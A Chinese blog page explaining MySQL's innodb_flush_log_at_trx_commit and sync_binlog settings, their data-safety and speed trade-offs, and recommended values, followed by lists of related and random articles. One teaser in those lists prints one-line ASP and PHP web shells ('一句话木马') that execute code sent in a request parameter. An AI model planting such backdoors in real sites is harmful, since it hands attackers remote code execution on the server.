MySQL参数: innodb_flush_log_at_trx_commit和sync_binlog
innodb_flush_log_at_trx_commit
当
innodb_flush_log_at_trx_commit=0
时, log buffer将每秒一次地写入log file, 并且log file的flush(刷新到disk)操作同时进行. 此时, 事务提交是不会主动触发写入磁盘的操作.当
innodb_flush_log_at_trx_commit=1
时(默认), 每次事务提交时, MySQL会把log buffer的数据写入log file, 并且将log file flush(刷新到disk)中去.当
innodb_flush_log_at_trx_commit=2
时, 每次事务提交时, MySQL会把log buffer的数据写入log file, 但不会主动触发flush(刷新到disk)操作同时进行. 然而, MySQL会每秒执行一次flush(刷新到disk)操作
sync_binlog
当
sync_binlog=0
时(默认), 如os刷新其他文件的机制一样, MySQL不会刷新log buffer到disk中去, 而是依赖os机制刷新log buffer数据到binary log中.当
sync_binlog=1
时, MySQL在写1次二进制日志binary log时, 会使用fdatasync()函数将二进制binary log同步到disk中去.(安全性最高的配置)当
sync_binlog=N(N>1)
时, MySQL在写N次二进制日志binary log时, 会使用fdatasync()函数将二进制binary log同步到disk中去.
结论
- 1)当innodb_flush_log_at_trx_commit和sync_binlog 都为 1 时是最安全的,但也是最慢的一种方式。在mysqld 服务崩溃或者服务器主机crash的情况下,binary log 只有可能丢失最多一个语句或者一个事务。
- 2)当innodb_flush_log_at_trx_commit设置为0,该模式速度最快,但不太安全,mysqld进程的崩溃会导致上一秒钟所有事务数据的丢失。
- 3)当innodb_flush_log_at_trx_commit设置为2,该模式速度较快,也比0安全,只有在操作系统崩溃或者系统断电的情况下,上一秒钟所有事务数据才可能丢失。
对于订单交易系统。推荐的做法是 innodb_flush_log_at_trx_commit=1 ,sync_binlog=1
对于非订单交易系统。推荐的做法是 innodb_flush_log_at_trx_commit=2 ,sync_binlog=N (N为500 或1000)
要求性能最快,推荐的做法是 innodb_flush_log_at_trx_commit=0 ,sync_binlog=0
MySQL参数: innodb_flush_log_at_trx_commit和sync_binlog的更多相关文章
- [MySQL] 参数: innodb_flush_log_at_trx_commit和sync_binlog
MySQL参数: innodb_flush_log_at_trx_commit和sync_binlog innodb_flush_log_at_trx_commit和sync_binlog是MySQL ...
- mysql 开发进阶篇系列 19 MySQL Server(innodb_flush_log_at_trx_commit与sync_binlog)
一. innodb_flush_log_at_trx_commit 这个参数名称有个log,一看就是与日志有关.是指:用来控制缓冲区(log buffer)中的数据写入到日志文件(log file), ...
- mysql参数innodb_flush_log_at_trx_commit
查看mysql数据库innodb_flush_log_at_trx_commit : mysql> SHOW GLOBAL VARIABLES LIKE 'innodb_flush_log%'; ...
- MySQL 重要参数 innodb_flush_log_at_trx_commit 和 sync_binlog
innodb_flush_log_at_trx_commit 主要控制了innodb将log buffer中的数据写入日志文件并flush磁盘的时间点,取值分别为0.1.2三个.该参数控制重做日志写入 ...
- MySQL参数:innodb_flush_log_at_trx_commit 和 sync_binlog
innodb_flush_log_at_trx_commit 和 sync_binlog 是 MySQL 的两个配置参数,前者是 InnoDB 引擎特有的.之所以把这两个参数放在一起讨论,是因为在实际 ...
- 有关mysql的innodb_flush_log_at_trx_commit参数
一.参数解释 0:log buffer将每秒一次地写入log file中,并且log file的flush(刷到磁盘)操作同时进行.该模式下在事务提交的时候,不会主动触发写入磁盘的操作. 1:每次事务 ...
- 有关mysql的innodb_flush_log_at_trx_commit参数【转】
一.参数解释 0:log buffer将每秒一次地写入log file中,并且log file的flush(刷到磁盘)操作同时进行.该模式下在事务提交的时候,不会主动触发写入磁盘的操作. 1:每次事务 ...
- innodb_flush_log_at_trx_commit和sync_binlog参数详解
innodb_flush_log_at_trx_commit和sync_binlog参数详解 标签: innodb_flush_ ...
- innodb_flush_log_at_trx_commit 和 sync_binlog 参数详 解
"innodb_flush_log_at_trx_commit"和"sync_binlog"两个参数是控制 MySQL 磁盘写入策略以及数据安全性的关键参数.当 ...
随机推荐
- simpleDateFormat中格式化时间需要注意的问题
student.getDateProperty("business","birth","yyyy-MM-dd",null)测试时 时间格式 ...
- 关于RGBDSLAMV2学习、安装、调试过程
Step1:https://github.com/felixendres/rgbdslam_v2/wiki/Instructions-for-Compiling-Rgbdslam-(V2)-on-a- ...
- WebAssembly(wasm)是什么?——学习
WebAssembly 是一种可以使用非 JavaScript 编程语言编写代码并且能在浏览器上运行的技术方案. 参考文章标题:几张图让你看懂WebAssembly 参考地址:https://www. ...
- 剑指Offer(三十三):丑数
剑指Offer(三十三):丑数 搜索微信公众号:'AI-ming3526'或者'计算机视觉这件小事' 获取更多算法.机器学习干货 csdn:https://blog.csdn.net/baidu_31 ...
- 简单的一句话木马(asp aspx php)
一句话木马: 1. #asp <%execute(request("pass"))%> 2. #php <?php eval($_POST[pass]);?> ...
- JS之try..catch...
try 测试代码块的错误. catch 语句处理错误. throw 创建并跑出错误. try { //在这里运行代码 抛出错误 }catch(err){ //在这里处理错误 } 实例: <p&g ...
- JVM那些事儿之内存区域
相信绝大多数java开发者或多或少的都应该知道jvm,但是有多少人又深入去了解过,笔者深感自身能力的不足,去看了些资料,觉得还是有必要整理下自己的学习记录,时常回头看看,多看多实践提升自己的能力,故开 ...
- LG4351 [CERC2015]Frightful Formula
Frightful Formula 给你一个\(n\times n\)矩阵的第一行和第一列,其余的数通过如下公式推出: \[f_{i,j}=a\cdot f_{i,j-1}+b\cdot f_{i-1 ...
- machine learning (2)-linear regression with one variable
machine learning- linear regression with one variable(2) Linear regression with one variable = univa ...
- 域渗透:IPC$ 命名管道
介绍:IPC$(Internet Process Connection) 是共享 " 命名管道 " 的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接 ...